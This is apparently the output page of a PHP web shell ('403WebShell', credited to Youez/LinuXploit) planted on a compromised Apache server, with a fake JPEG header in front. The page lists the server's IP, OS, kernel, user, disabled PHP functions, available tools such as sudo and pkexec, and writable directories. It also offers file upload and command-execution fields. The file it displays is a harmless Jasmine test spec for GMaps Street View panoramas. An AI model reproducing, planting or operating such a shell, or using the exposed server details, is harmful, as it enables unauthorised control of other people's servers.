����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.145.36.137
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/assets/plugins/gmaps/test/spec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/admin/assets/plugins/gmaps/test/spec/StreetViewSpec.js
describe("Create a Street View Panorama", function() {
  var map_with_streetview, attached_panorama, standalone_panorama, panorama_with_events;

  beforeEach(function() {
    map_with_streetview = map_with_streetview || new GMaps({
      el : '#map-with-streetview',
      lat : 42.3455,
      lng : -71.0983,
      zoom : 12
    });
  });

  describe("Standalone", function() {
    beforeEach(function() {
      standalone_panorama = standalone_panorama || GMaps.createPanorama({
        el : '#streetview-standalone-panorama',
        lat : 42.3455,
        lng : -71.0983,
        pov : {
          heading : 60,
          pitch : -10,
          zoom : 1
        }
      });
    });

    it("should create a Street View panorama", function() {
      expect(standalone_panorama).toBeDefined();
    });
  });

  describe("Attached to the current map", function() {
    beforeEach(function() {
      attached_panorama = attached_panorama || map_with_streetview.createPanorama({
        el : '#streetview-panorama',
        pov : {
          heading : 60,
          pitch : -10,
          zoom : 1
        }
      });
    });

    it("should be equal to the current map Street View panorama", function() {
      expect(map_with_streetview.getStreetView()).toEqual(attached_panorama);
    });
  });

  describe("With events", function() {
    var callbacks;

    beforeEach(function() {
      callbacks = {
        onpovchanged : function() {
          console.log(this);
        }
      };

      spyOn(callbacks, 'onpovchanged').andCallThrough();

      panorama_with_events = panorama_with_events || GMaps.createPanorama({
        el : '#streetview-with-events',
        lat : 42.3455,
        lng : -71.0983,
        pov : {
          heading : 60,
          pitch : -10,
          zoom : 1
        },
        pov_changed : callbacks.onpovchanged
      });
    });

    it("should respond to pov_changed event", function() {
      panorama_with_events.setPov({
        heading : 80,
        pitch : -10,
        zoom : 1
      });

      expect(callbacks.onpovchanged).toHaveBeenCalled();
    });
  });
});

Youez - 2016 - github.com/yon3zu
LinuXploit